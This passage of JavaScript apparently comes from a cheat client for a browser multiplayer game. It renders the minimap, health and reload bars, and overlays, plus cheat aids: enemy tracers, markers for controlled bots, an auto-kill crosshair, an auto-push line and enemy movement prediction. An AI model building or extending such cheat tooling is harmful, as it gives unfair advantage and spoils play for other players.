  10844. }
  10845.  
  10846. mainContext.save();
  10847. mainContext.translate(tmpX, tmpY);
  10848. mainContext.rotate(tmpObj.dir);
  10849. if (!tmpObj.active) {
  10850. mainContext.scale(tmpObj.visScale / tmpObj.scale, tmpObj.visScale / tmpObj.scale);
  10851. }
  10852. mainContext.drawImage(tmpSprite, -(tmpSprite.width / 2), -(tmpSprite.height / 2));
  10853.  
  10854. if (tmpObj.blocker) {
  10855. mainContext.strokeStyle = "#db6e6e";
  10856. mainContext.globalAlpha = 0.3;
  10857. mainContext.lineWidth = 6;
  10858. renderCircle(0, 0, tmpObj.blocker, mainContext, false, true);
  10859. }
  10860. mainContext.restore();
  10861. } else {
  10862. tmpSprite = getResSprite(tmpObj);
  10863. mainContext.drawImage(tmpSprite, tmpX - (tmpSprite.width / 2), tmpY - (tmpSprite.height / 2));
  10864. }
  10865. }
  10866. if (layer == 3) {
  10867. if (tmpObj.health < tmpObj.maxHealth) {
  10868. // HEALTH HOLDER:
  10869. mainContext.fillStyle = darkOutlineColor;
  10870. mainContext.roundRect(tmpX - config.healthBarWidth / 2 - config.healthBarPad, tmpY - config.healthBarPad, config.healthBarWidth + config.healthBarPad * 2, 17, 8);
  10871. mainContext.fill();
  10872.  
  10873. // HEALTH BAR:
  10874. mainContext.fillStyle = tmpObj.isTeamObject(player) ? "#8ecc51" : "#cc5151";
  10875. mainContext.roundRect(tmpX - config.healthBarWidth / 2, tmpY, config.healthBarWidth * (tmpObj.health / tmpObj.maxHealth), 17 - config.healthBarPad * 2, 7);
  10876. mainContext.fill();
  10877. }
  10878. }
  10879. }
  10880. });
  10881.  
  10882. // PLACE VISIBLE:
  10883. if (layer == 0) {
  10884. if (placeVisible.length) {
  10885. placeVisible.forEach((places) => {
  10886. tmpX = places.x - xOffset;
  10887. tmpY = places.y - yOffset;
  10888. markObject(places, tmpX, tmpY);
  10889. });
  10890. }
  10891. }
  10892. }
  10893.  
  10894. function markObject(tmpObj, tmpX, tmpY) {
  10895. getMarkSprite(tmpObj, mainContext, tmpX, tmpY);
  10896. }
  10897.  
  10898. // RENDER MINIMAP:
  10899. class MapPing {
  10900. constructor(color, scale) {
  10901. this.init = function(x, y) {
  10902. this.scale = 0;
  10903. this.x = x;
  10904. this.y = y;
  10905. this.active = true;
  10906. };
  10907. this.update = function(ctxt, delta) {
  10908. if (this.active) {
  10909. this.scale += 0.05 * delta;
  10910. if (this.scale >= scale) {
  10911. this.active = false;
  10912. } else {
  10913. ctxt.globalAlpha = (1 - Math.max(0, this.scale / scale));
  10914. ctxt.beginPath();
  10915. ctxt.arc((this.x / config.mapScale) * mapDisplay.width, (this.y / config.mapScale) *
  10916. mapDisplay.width, this.scale, 0, 2 * Math.PI);
  10917. ctxt.stroke();
  10918. }
  10919. }
  10920. };
  10921. this.color = color;
  10922. }
  10923. }
  10924.  
  10925. function pingMap(x, y) {
  10926. tmpPing = mapPings.find(pings => !pings.active);
  10927. if (!tmpPing) {
  10928. tmpPing = new MapPing("#fff", config.mapPingScale);
  10929. mapPings.push(tmpPing);
  10930. }
  10931. tmpPing.init(x, y);
  10932. }
  10933.  
  10934. function updateMapMarker() {
  10935. mapMarker.x = player.x;
  10936. mapMarker.y = player.y;
  10937. }
  10938.  
  10939. function renderMinimap(delta) {
  10940. if (player && player.alive) {
  10941. mapContext.clearRect(0, 0, mapDisplay.width, mapDisplay.height);
  10942.  
  10943. // RENDER PINGS:
  10944. mapContext.lineWidth = 4;
  10945. for (let i = 0; i < mapPings.length; ++i) {
  10946. tmpPing = mapPings[i];
  10947. mapContext.strokeStyle = tmpPing.color;
  10948. tmpPing.update(mapContext, delta);
  10949. }
  10950.  
  10951. // RENDER BREAK TRACKS:
  10952. mapContext.globalAlpha = 1;
  10953. mapContext.fillStyle = "#ff0000";
  10954. if (breakTrackers.length) {
  10955. mapContext.fillStyle = "#abcdef";
  10956. mapContext.font = "34px Hammersmith One";
  10957. mapContext.textBaseline = "middle";
  10958. mapContext.textAlign = "center";
  10959. for (let i = 0; i < breakTrackers.length;) {
  10960. mapContext.fillText("!", (breakTrackers[i].x / config.mapScale) * mapDisplay.width,
  10961. (breakTrackers[i].y / config.mapScale) * mapDisplay.height);
  10962. i += 2;
  10963. }
  10964. }
  10965.  
  10966. // RENDER PLAYERS:
  10967. mapContext.globalAlpha = 1;
  10968. mapContext.fillStyle = "#fff";
  10969. renderCircle((player.x / config.mapScale) * mapDisplay.width,
  10970. (player.y / config.mapScale) * mapDisplay.height, 7, mapContext, true);
  10971. mapContext.fillStyle = "rgba(255,255,255,0.35)";
  10972. if (player.team && minimapData) {
  10973. for (let i = 0; i < minimapData.length;) {
  10974. renderCircle((minimapData[i] / config.mapScale) * mapDisplay.width,
  10975. (minimapData[i + 1] / config.mapScale) * mapDisplay.height, 7, mapContext, true);
  10976. i += 2;
  10977. }
  10978. }
  10979.  
  10980. // RENDER BOTS:
  10981. if (bots.length) {
  10982. bots.forEach((tmp) => {
  10983. if (tmp.inGame) {
  10984. mapContext.globalAlpha = 1;
  10985. mapContext.strokeStyle = "#cc5151";
  10986. renderCircle((tmp.x2 / config.mapScale) * mapDisplay.width,
  10987. (tmp.y2 / config.mapScale) * mapDisplay.height, 7, mapContext, false, true);
  10988. }
  10989. });
  10990. }
  10991.  
  10992. // DEATH LOCATION:
  10993. if (lastDeath) {
  10994. mapContext.fillStyle = "#fc5553";
  10995. mapContext.font = "34px Hammersmith One";
  10996. mapContext.textBaseline = "middle";
  10997. mapContext.textAlign = "center";
  10998. mapContext.fillText("x", (lastDeath.x / config.mapScale) * mapDisplay.width,
  10999. (lastDeath.y / config.mapScale) * mapDisplay.height);
  11000. }
  11001.  
  11002. // MAP MARKER:
  11003. if (mapMarker) {
  11004. mapContext.fillStyle = "#fff";
  11005. mapContext.font = "34px Hammersmith One";
  11006. mapContext.textBaseline = "middle";
  11007. mapContext.textAlign = "center";
  11008. mapContext.fillText("x", (mapMarker.x / config.mapScale) * mapDisplay.width,
  11009. (mapMarker.y / config.mapScale) * mapDisplay.height);
  11010. }
  11011. }
  11012. }
  11013.  
  11014. // ICONS:
  11015. let crossHairs = ["https://cdn.discordapp.com/attachments/1001384433078779927/1149285738412769300/newawwddd.png", "https://cdn.discordapp.com/attachments/1001384433078779927/1149285168780165170/100px-Crosshairs_Red.png"];
  11016. let crossHairSprites = {};
  11017. let iconSprites = {};
  11018. let icons = ["crown", "skull"];
  11019.  
  11020. function loadIcons() {
  11021. for (let i = 0; i < icons.length; ++i) {
  11022. let tmpSprite = new Image();
  11023. tmpSprite.onload = function() {
  11024. this.isLoaded = true;
  11025. };
  11026. tmpSprite.src = "./../img/icons/" + icons[i] + ".png";
  11027. iconSprites[icons[i]] = tmpSprite;
  11028. }
  11029. for (let i = 0; i < crossHairs.length; ++i) {
  11030. let tmpSprite = new Image();
  11031. tmpSprite.onload = function() {
  11032. this.isLoaded = true;
  11033. };
  11034. tmpSprite.src = crossHairs[i];
  11035. crossHairSprites[i] = tmpSprite;
  11036. }
  11037. }
  11038. loadIcons();
  11039.  
  11040. function cdf (e, t){
  11041. try {
  11042. return Math.hypot((t.y2||t.y)-(e.y2||e.y), (t.x2||t.x)-(e.x2||e.x));
  11043. } catch(e){
  11044. return Infinity;
  11045. }
  11046. }
  11047.  
  11048. // UPDATE GAME:
  11049. function updateGame() {
  11050. if(gameObjects.length && inGame) {
  11051. gameObjects.forEach((tmp) => {
  11052. if(UTILS.getDistance(tmp.x, tmp.y, player.x, player.y) <= 1200) {
  11053. if(!liztobj.includes(tmp)) {
  11054. liztobj.push(tmp);
  11055. tmp.render = true;
  11056. }
  11057. } else {
  11058. if(liztobj.includes(tmp)) {
  11059. if(UTILS.getDistance(tmp.x, tmp.y, player.x, player.y) >= 1200) {
  11060. tmp.render = false;
  11061. const index = liztobj.indexOf(tmp);
  11062. if (index > -1) { // only splice array when item is found
  11063. liztobj.splice(index, 1); // 2nd parameter means remove one item only
  11064. }
  11065. }
  11066. } else if(UTILS.getDistance(tmp.x, tmp.y, player.x, player.y) >= 1200) {
  11067. tmp.render = false;
  11068. const index = liztobj.indexOf(tmp);
  11069. if (index > -1) { // only splice array when item is found
  11070. liztobj.splice(index, 1); // 2nd parameter means remove one item only
  11071. }
  11072. } else {
  11073. tmp.render = false;
  11074. const index = liztobj.indexOf(tmp);
  11075. if (index > -1) { // only splice array when item is found
  11076. liztobj.splice(index, 1); // 2nd parameter means remove one item only
  11077. }
  11078. }
  11079. }
  11080. })
  11081. // gameObjects = gameObjects.filter(e => UTILS.getDistance(e.x, e.y, player.x, player.y) <= 1000)
  11082. }
  11083.  
  11084. // if (config.resetRender) {
  11085. mainContext.beginPath();
  11086. mainContext.clearRect(0, 0, gameCanvas.width, gameCanvas.height);
  11087. // }
  11088. mainContext.globalAlpha = 1;
  11089.  
  11090. // MOVE CAMERA:
  11091. if (player) {
  11092. if (false) {
  11093. camX = player.x;
  11094. camY = player.y;
  11095. } else {
  11096. let tmpDist = UTILS.getDistance(camX, camY, player.x, player.y);
  11097. let tmpDir = UTILS.getDirection(player.x, player.y, camX, camY);
  11098. let camSpd = Math.min(tmpDist * 0.0045 * delta, tmpDist);
  11099. if (tmpDist > 0.05) {
  11100. camX += camSpd * Math.cos(tmpDir);
  11101. camY += camSpd * Math.sin(tmpDir);
  11102. } else {
  11103. camX = player.x;
  11104. camY = player.y;
  11105. }
  11106. }
  11107. } else {
  11108. camX = config.mapScale / 2 + config.riverWidth;
  11109. camY = config.mapScale / 2;
  11110. }
  11111.  
  11112. // INTERPOLATE PLAYERS AND AI:
  11113. let lastTime = now - (1000 / config.serverUpdateRate);
  11114. let tmpDiff;
  11115. for (let i = 0; i < players.length + ais.length; ++i) {
  11116. tmpObj = players[i] || ais[i - players.length];
  11117. if (tmpObj && tmpObj.visible) {
  11118. if (tmpObj.forcePos) {
  11119. tmpObj.x = tmpObj.x2;
  11120. tmpObj.y = tmpObj.y2;
  11121. tmpObj.dir = tmpObj.d2;
  11122. } else {
  11123. let total = tmpObj.t2 - tmpObj.t1;
  11124. let fraction = lastTime - tmpObj.t1;
  11125. let ratio = (fraction / total);
  11126. let rate = 170;
  11127. tmpObj.dt += delta;
  11128. let tmpRate = Math.min(1.7, tmpObj.dt / rate);
  11129. tmpDiff = (tmpObj.x2 - tmpObj.x1);
  11130. tmpObj.x = tmpObj.x1 + (tmpDiff * tmpRate);
  11131. tmpDiff = (tmpObj.y2 - tmpObj.y1);
  11132. tmpObj.y = tmpObj.y1 + (tmpDiff * tmpRate);
  11133. if (config.anotherVisual) {
  11134. tmpObj.dir = Math.lerpAngle(tmpObj.d2, tmpObj.d1, Math.min(1.2, ratio));
  11135. } else {
  11136. tmpObj.dir = Math.lerpAngle(tmpObj.d2, tmpObj.d1, Math.min(1.2, ratio));
  11137. }
  11138. }
  11139. }
  11140. }
  11141.  
  11142. // RENDER CORDS:
  11143. let xOffset = camX - (maxScreenWidth / 2);
  11144. let yOffset = camY - (maxScreenHeight / 2);
  11145.  
  11146. // RENDER BACKGROUND:
  11147. if (config.snowBiomeTop - yOffset <= 0 && config.mapScale - config.snowBiomeTop - yOffset >= maxScreenHeight) {
  11148. mainContext.fillStyle = "#b6db66";
  11149. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11150. } else if (config.mapScale - config.snowBiomeTop - yOffset <= 0) {
  11151. mainContext.fillStyle = "#dbc666";
  11152. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11153. } else if (config.snowBiomeTop - yOffset >= maxScreenHeight) {
  11154. mainContext.fillStyle = "#fff";
  11155. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11156. } else if (config.snowBiomeTop - yOffset >= 0) {
  11157. mainContext.fillStyle = "#fff";
  11158. mainContext.fillRect(0, 0, maxScreenWidth, config.snowBiomeTop - yOffset);
  11159. mainContext.fillStyle = "#b6db66";
  11160. mainContext.fillRect(0, config.snowBiomeTop - yOffset, maxScreenWidth,
  11161. maxScreenHeight - (config.snowBiomeTop - yOffset));
  11162. } else {
  11163. mainContext.fillStyle = "#b6db66";
  11164. mainContext.fillRect(0, 0, maxScreenWidth,
  11165. (config.mapScale - config.snowBiomeTop - yOffset));
  11166. mainContext.fillStyle = "#dbc666";
  11167. mainContext.fillRect(0, (config.mapScale - config.snowBiomeTop - yOffset), maxScreenWidth,
  11168. maxScreenHeight - (config.mapScale - config.snowBiomeTop - yOffset));
  11169. }
  11170.  
  11171. // RENDER WATER AREAS:
  11172. if (!firstSetup) {
  11173. waterMult += waterPlus * config.waveSpeed * delta;
  11174. if (waterMult >= config.waveMax) {
  11175. waterMult = config.waveMax;
  11176. waterPlus = -1;
  11177. } else if (waterMult <= 1) {
  11178. waterMult = waterPlus = 1;
  11179. }
  11180. mainContext.globalAlpha = 1;
  11181. mainContext.fillStyle = "#dbc666";
  11182. renderWaterBodies(xOffset, yOffset, mainContext, config.riverPadding);
  11183. mainContext.fillStyle = "#91b2db";
  11184. renderWaterBodies(xOffset, yOffset, mainContext, (waterMult - 1) * 250);
  11185. }
  11186.  
  11187. // RENDER DEAD PLAYERS:
  11188. mainContext.globalAlpha = 1;
  11189. mainContext.strokeStyle = outlineColor;
  11190. renderDeadPlayers(xOffset, yOffset);
  11191.  
  11192. // RENDER BOTTOM LAYER:
  11193. mainContext.globalAlpha = 1;
  11194. mainContext.strokeStyle = outlineColor;
  11195. renderGameObjects(-1, xOffset, yOffset);
  11196.  
  11197. // RENDER PROJECTILES:
  11198. mainContext.globalAlpha = 1;
  11199. mainContext.lineWidth = outlineWidth;
  11200. renderProjectiles(0, xOffset, yOffset);
  11201.  
  11202. // RENDER PLAYERS:
  11203. renderPlayers(xOffset, yOffset, 0);
  11204.  
  11205. // RENDER AI:
  11206. mainContext.globalAlpha = 1;
  11207. for (let i = 0; i < ais.length; ++i) {
  11208. tmpObj = ais[i];
  11209. if (tmpObj.active && tmpObj.visible) {
  11210. tmpObj.animate(delta);
  11211. mainContext.save();
  11212. mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
  11213. mainContext.rotate(tmpObj.dir + tmpObj.dirPlus - (Math.PI / 2));
  11214. renderAI(tmpObj, mainContext);
  11215. mainContext.restore();
  11216. }
  11217. }
  11218.  
  11219. // RENDER GAME OBJECTS (LAYERED):
  11220. renderGameObjects(0, xOffset, yOffset);
  11221. renderProjectiles(1, xOffset, yOffset);
  11222. renderGameObjects(1, xOffset, yOffset);
  11223. renderPlayers(xOffset, yOffset, 1);
  11224. renderGameObjects(2, xOffset, yOffset);
  11225. renderGameObjects(3, xOffset, yOffset);
  11226.  
  11227. // MAP BOUNDARIES:
  11228. mainContext.fillStyle = "#000";
  11229. mainContext.globalAlpha = 0.09;
  11230. if (xOffset <= 0) {
  11231. mainContext.fillRect(0, 0, -xOffset, maxScreenHeight);
  11232. }
  11233. if (config.mapScale - xOffset <= maxScreenWidth) {
  11234. let tmpY = Math.max(0, -yOffset);
  11235. mainContext.fillRect(config.mapScale - xOffset, tmpY, maxScreenWidth - (config.mapScale - xOffset), maxScreenHeight - tmpY);
  11236. }
  11237. if (yOffset <= 0) {
  11238. mainContext.fillRect(-xOffset, 0, maxScreenWidth + xOffset, -yOffset);
  11239. }
  11240. if (config.mapScale - yOffset <= maxScreenHeight) {
  11241. let tmpX = Math.max(0, -xOffset);
  11242. let tmpMin = 0;
  11243. if (config.mapScale - xOffset <= maxScreenWidth)
  11244. tmpMin = maxScreenWidth - (config.mapScale - xOffset);
  11245. mainContext.fillRect(tmpX, config.mapScale - yOffset,
  11246. (maxScreenWidth - tmpX) - tmpMin, maxScreenHeight - (config.mapScale - yOffset));
  11247. }
  11248.  
  11249. // RENDER DAY/NIGHT TIME:
  11250. mainContext.globalAlpha = 1;
  11251. mainContext.fillStyle = "rgba(0, 5, 80, 0.55)";
  11252. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11253.  
  11254. // RENDER DAY/NIGHT TIME:
  11255. let nightTime = false;
  11256. setInterval(() => {
  11257. nightTime = !nightTime;
  11258. }, 30000);
  11259. mainContext.globalAlpha = 1;
  11260. if(getEl("brightnesstype").value == "oe") {
  11261. mainContext.fillStyle = "rgba(0, 0, 45, 0.55)";
  11262. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11263. } else if(getEl("brightnesstype").value == "fz") {
  11264. if(nightTime) {
  11265. mainContext.fillStyle = "rgba(0, 0, 70, 0.35)";
  11266. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11267. } else {
  11268. mainContext.fillStyle = "rgba(0, 0, 70, 0.35)";
  11269. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11270. }
  11271. } else if(getEl("brightnesstype").value == "blox") {
  11272. mainContext.fillStyle = "rgba(0, 0, 70, 0.70)";
  11273. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11274. } else if(getEl("brightnesstype").value == "hnr") {
  11275. mainContext.fillStyle = "rgba(5, 0, 70, 0.55)";
  11276. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11277. } else if (getEl("brightnesstype").value == "yur") {
  11278. mainContext.fillStyle = "rgba(0, 0, 45, 0.55)";
  11279. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11280. } else {
  11281. mainContext.fillStyle = "rgba(20, 0, 70, 0.45)";
  11282. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11283. mainContext.fillStyle = "rgba(0, 5, 0, 0.15)";
  11284. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11285. mainContext.fillStyle = "rgba(255, 255, 255, 0.025)";
  11286. mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
  11287. }
  11288.  
  11289. // RENDER PLAYER AND AI UI:
  11290. mainContext.strokeStyle = darkOutlineColor;
  11291. mainContext.globalAlpha = 1;
  11292. for (let i = 0; i < players.length + ais.length; ++i) {
  11293. tmpObj = players[i] || ais[i - players.length];
  11294. if (tmpObj.visible) {
  11295. mainContext.strokeStyle = darkOutlineColor;
  11296.  
  11297. // NAME AND HEALTH:
  11298. if (tmpObj.skinIndex != 10 || (tmpObj == player) || (tmpObj.team && tmpObj.team == player.team)) {
  11299. let tmpText = (tmpObj.team ? "[" + tmpObj.team + "] " : "") + (tmpObj.name || ""); //+ (tmpObj.isPlayer ? " {" + tmpObj.sid + "}" : "");
  11300. if (tmpText != "") {
  11301. mainContext.font = (tmpObj.nameScale || 30) + "px Hammersmith One";
  11302. mainContext.fillStyle = "#fff";
  11303. mainContext.textBaseline = "middle";
  11304. mainContext.textAlign = "center";
  11305. mainContext.lineWidth = (tmpObj.nameScale ? 11 : 8);
  11306. mainContext.lineJoin = "round";
  11307. mainContext.strokeText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
  11308. mainContext.fillText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
  11309. if (tmpObj.isLeader && iconSprites["crown"].isLoaded) {
  11310. let tmpS = config.crownIconScale;
  11311. let tmpX = tmpObj.x - xOffset - (tmpS / 2) - (mainContext.measureText(tmpText).width / 2) - config.crownPad;
  11312. mainContext.drawImage(iconSprites["crown"], tmpX, (tmpObj.y - yOffset - tmpObj.scale) -
  11313. config.nameY - (tmpS / 2) - 5, tmpS, tmpS);
  11314. }
  11315. if (tmpObj.iconIndex == 1 && iconSprites["skull"].isLoaded) {
  11316. let tmpS = config.crownIconScale;
  11317. let tmpX = tmpObj.x - xOffset - (tmpS / 2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad;
  11318. mainContext.drawImage(iconSprites["skull"], tmpX, (tmpObj.y - yOffset - tmpObj.scale) -
  11319. config.nameY - (tmpS / 2) - 5, tmpS, tmpS);
  11320. }
  11321. if (tmpObj.isPlayer && instaC.wait && near == tmpObj && (tmpObj.backupNobull ? crossHairSprites[1].isLoaded : crossHairSprites[0].isLoaded) && enemy.length && !useWasd) {
  11322. let tmpS = tmpObj.scale * 2.2;
  11323. mainContext.drawImage((tmpObj.backupNobull ? crossHairSprites[1] : crossHairSprites[0]), tmpObj.x - xOffset - tmpS / 2, tmpObj.y - yOffset - tmpS / 2, tmpS, tmpS);
  11324. }
  11325. }
  11326. if (tmpObj.health > 0) {
  11327. // HEALTH HOLDER:
  11328. mainContext.fillStyle = darkOutlineColor;
  11329. mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth - config.healthBarPad,
  11330. (tmpObj.y - yOffset + tmpObj.scale) + config.nameY, (config.healthBarWidth * 2) +
  11331. (config.healthBarPad * 2), 17, 8);
  11332. mainContext.fill();
  11333.  
  11334. // HEALTH BAR:
  11335. mainContext.fillStyle = (tmpObj == player || (tmpObj.team && tmpObj.team == player.team)) ? "#8ecc51" : "#cc5151";
  11336. mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth,
  11337. (tmpObj.y - yOffset + tmpObj.scale) + config.nameY + config.healthBarPad,
  11338. ((config.healthBarWidth * 2) * (tmpObj.health / tmpObj.maxHealth)), 17 - config.healthBarPad * 2, 7);
  11339. mainContext.fill();
  11340. }
  11341.  
  11342. if (tmpObj.isPlayer) {
  11343. mainContext.globalAlpha = 1;
  11344. let targetReloads = {
  11345. primary: (tmpObj.primaryIndex == undefined ? 1 : ((items.weapons[tmpObj.primaryIndex].speed - tmpObj.reloads[tmpObj.primaryIndex]) / items.weapons[tmpObj.primaryIndex].speed)),
  11346. secondary: (tmpObj.secondaryIndex == undefined ? 1 : ((items.weapons[tmpObj.secondaryIndex].speed - tmpObj.reloads[tmpObj.secondaryIndex]) / items.weapons[tmpObj.secondaryIndex].speed)),
  11347. turret: (2500 - tmpObj.reloads[53]) / 2500
  11348. };
  11349. if (!tmpObj.currentReloads) {
  11350. tmpObj.currentReloads = { // Initialize currentReloads if not already set
  11351. primary: targetReloads.primary,
  11352. secondary: targetReloads.secondary,
  11353. turret: targetReloads.turret
  11354. };
  11355. }
  11356. const lerpFactor = 0.3;
  11357. tmpObj.currentReloads.primary = (1 - lerpFactor) * tmpObj.currentReloads.primary + lerpFactor * targetReloads.primary;
  11358. tmpObj.currentReloads.secondary = (1 - lerpFactor) * tmpObj.currentReloads.secondary + lerpFactor * targetReloads.secondary;
  11359. tmpObj.currentReloads.turret = (1 - lerpFactor) * tmpObj.currentReloads.turret + lerpFactor * targetReloads.turret;
  11360.  
  11361. let primaryReloadProgress = tmpObj.primaryIndex !== undefined ? ((items.weapons[tmpObj.primaryIndex].speed - tmpObj.reloads[tmpObj.primaryIndex]) / items.weapons[tmpObj.primaryIndex].speed) : 1;
  11362. let secondaryReloadProgress = tmpObj.secondaryIndex !== undefined ? ((items.weapons[tmpObj.secondaryIndex].speed - tmpObj.reloads[tmpObj.secondaryIndex]) / items.weapons[tmpObj.secondaryIndex].speed) : 1;
  11363. const centerX = tmpObj.x - xOffset;
  11364. const centerY = tmpObj.y - yOffset;
  11365. const barRadius = 35;
  11366. const barWidth = 15;
  11367. const totalAngle = (Math.PI*2)/3; // Half circle
  11368. const secondaryStartAngle = -Math.PI / 2 + Math.PI / 3 + tmpObj.dir - Math.PI/2;
  11369. const secondaryEndAngle = secondaryStartAngle + (totalAngle * tmpObj.currentReloads.secondary);
  11370. const primaryStartAngle = Math.PI / 2 + tmpObj.dir - Math.PI/2;
  11371. const primaryEndAngle = primaryStartAngle + (totalAngle * tmpObj.currentReloads.primary);
  11372.  
  11373. const turretStartAngle = Math.PI + Math.PI / 4.5 + tmpObj.dir - Math.PI/2;
  11374. const turretEndAngle = turretStartAngle + (totalAngle/1.25 * tmpObj.currentReloads.turret);
  11375. function returncoolcolor(RainbowCycle) {
  11376. return "#d6d6d6";
  11377. }
  11378.  
  11379. mainContext.save();
  11380. if (tmpObj.currentReloads.primary < 0.999) {
  11381. mainContext.beginPath();
  11382. mainContext.lineCap = 'round';
  11383. mainContext.arc(centerX, centerY, barRadius, primaryStartAngle, primaryEndAngle);
  11384. mainContext.lineWidth = 4;
  11385. mainContext.strokeStyle = returncoolcolor(tmpObj.currentReloads.primary * 240);
  11386. mainContext.stroke();
  11387. }
  11388. if (tmpObj.currentReloads.secondary < 0.999) {
  11389. mainContext.beginPath();
  11390. mainContext.lineCap = 'round';
  11391. mainContext.arc(centerX, centerY, barRadius, secondaryStartAngle, secondaryEndAngle);
  11392. mainContext.lineWidth = 4;
  11393. mainContext.strokeStyle = returncoolcolor(tmpObj.currentReloads.secondary * 240);
  11394. mainContext.stroke();
  11395. }
  11396. if (tmpObj.currentReloads.turret < 0.999) {
  11397. mainContext.beginPath();
  11398. mainContext.lineCap = 'round';
  11399. mainContext.arc(centerX, centerY, barRadius, turretStartAngle, turretEndAngle);
  11400. mainContext.lineWidth = 4;
  11401. mainContext.strokeStyle = returncoolcolor(tmpObj.currentReloads.turret * 240);
  11402. mainContext.stroke();
  11403. }
  11404. mainContext.restore();
  11405.  
  11406. if(tmpObj.name != "Botss") {
  11407. // SHAME COUNT:
  11408. mainContext.globalAlpha = 1;
  11409. mainContext.font = "25px Hammersmith One";
  11410. mainContext.fillStyle = "#fff";
  11411. mainContext.strokeStyle = "darkOutlineColor";
  11412. mainContext.textBaseline = "middle";
  11413. mainContext.textAlign = "center";
  11414. mainContext.lineWidth = tmpObj.nameScale ? 11 : 8;
  11415. mainContext.lineJoin = "round";
  11416. var tmpS = config.crownIconScale;
  11417. var tmpX = tmpObj.x - xOffset - tmpS / 2 + mainContext.measureText(tmpText).width / 2 + config.crownPad + (tmpObj.iconIndex == 1 ? (tmpObj.nameScale || 30) * 2.75 : tmpObj.nameScale || 30);
  11418. mainContext.strokeText(tmpObj.shameCount, tmpObj.x - xOffset, tmpObj.y - yOffset + tmpObj.scale + config.nameY + 35);
  11419. mainContext.fillText(tmpObj.shameCount, tmpObj.x - xOffset, tmpObj.y - yOffset + tmpObj.scale + config.nameY + 35);
  11420. }
  11421.  
  11422. // PLAYER TRACER:
  11423. if (!tmpObj.isTeam(player)) {
  11424. let center = {
  11425. x: screenWidth / 2,
  11426. y: screenHeight / 2,
  11427. };
  11428. let alpha = Math.min(1, (UTILS.getDistance(0, 0, player.x - tmpObj.x, (player.y - tmpObj.y) * (16 / 9)) * 100) / (config.maxScreenHeight / 2) / center.y);
  11429. let dist = center.y * alpha / 2;
  11430. let tmpX = dist * Math.cos(UTILS.getDirect(tmpObj, player, 0, 0));
  11431. let tmpY = dist * Math.sin(UTILS.getDirect(tmpObj, player, 0, 0));
  11432. mainContext.save();
  11433. mainContext.translate((player.x - xOffset) + tmpX, (player.y - yOffset) + tmpY);
  11434. mainContext.rotate(tmpObj.aim2 + Math.PI / 2);
  11435. let by = 255 - (tmpObj.sid * 2);
  11436. mainContext.fillStyle = `rgb(${by}, ${by}, ${by})`;
  11437. mainContext.globalAlpha = alpha;
  11438. let renderTracer = function(s, ctx) {
  11439. ctx = ctx || mainContext;
  11440. let h = s * (Math.sqrt(3) / 2);
  11441. ctx.beginPath();
  11442. ctx.moveTo(0, -h / 1.5);
  11443. ctx.lineTo(-s / 2, h / 2);
  11444. ctx.lineTo(s / 2, h / 2);
  11445. ctx.lineTo(0, -h / 1.5);
  11446. ctx.fill();
  11447. ctx.closePath();
  11448. }
  11449. renderTracer(25, mainContext);
  11450. mainContext.restore();
  11451. }
  11452.  
  11453. if (getEl("predictType").value == "pre2") {
  11454. mainContext.lineWidth = 3;
  11455. mainContext.strokeStyle = "#fff";
  11456. mainContext.globalAlpha = 1;
  11457. mainContext.beginPath();
  11458. let render = {
  11459. x: tmpObj.x2 - xOffset,
  11460. y: tmpObj.y2 - yOffset
  11461. };
  11462. mainContext.moveTo(tmpObj.x - xOffset, tmpObj.y - yOffset);
  11463. mainContext.lineTo(render.x, render.y);
  11464. mainContext.stroke();
  11465. } else if (getEl("predictType").value == "pre3") {
  11466. mainContext.lineWidth = 3;
  11467. mainContext.strokeStyle = "#cc5151";
  11468. mainContext.globalAlpha = 1;
  11469. mainContext.beginPath();
  11470. let render = {
  11471. x: tmpObj.x3 - xOffset,
  11472. y: tmpObj.y3 - yOffset
  11473. };
  11474. mainContext.moveTo(tmpObj.x - xOffset, tmpObj.y - yOffset);
  11475. mainContext.lineTo(render.x, render.y);
  11476. mainContext.stroke();
  11477. }
  11478.  
  11479. }
  11480. }
  11481. }
  11482. }
  11483.  
  11484. if (player) {
  11485. // AUTOPUSH LINE:
  11486. if (my.autoPush) {
  11487. mainContext.lineWidth = 14;
  11488. mainContext.strokeStyle = "rgba(50, 205, 50, 0.3)"; // HPBarColor (Outline color)
  11489. mainContext.beginPath();
  11490. mainContext.moveTo(player.x - xOffset, player.y - yOffset);
  11491. mainContext.lineTo(my.pushData.x - xOffset, my.pushData.y - yOffset);
  11492. mainContext.stroke(); // Draw the outline
  11493. }
  11494. }
  11495.  
  11496.  
  11497. mainContext.globalAlpha = 1;
  11498.  
  11499. // RENDER ANIM TEXTS:
  11500. textManager.update(delta, mainContext, xOffset, yOffset);
  11501.  
  11502. // RENDER CHAT MESSAGES:
  11503. for (let i = 0; i < players.length; ++i) {
  11504. tmpObj = players[i];
  11505. if (tmpObj.visible) {
  11506. if (tmpObj.chatCountdown > 0) {
  11507. tmpObj.chatCountdown -= delta;
  11508. if (tmpObj.chatCountdown <= 0)
  11509. tmpObj.chatCountdown = 0;
  11510. mainContext.font = "32px Hammersmith One";
  11511. let tmpSize = mainContext.measureText(tmpObj.chatMessage);
  11512. mainContext.textBaseline = "middle";
  11513. mainContext.textAlign = "center";
  11514. let tmpX = tmpObj.x - xOffset;
  11515. let tmpY = tmpObj.y - tmpObj.scale - yOffset - 90;
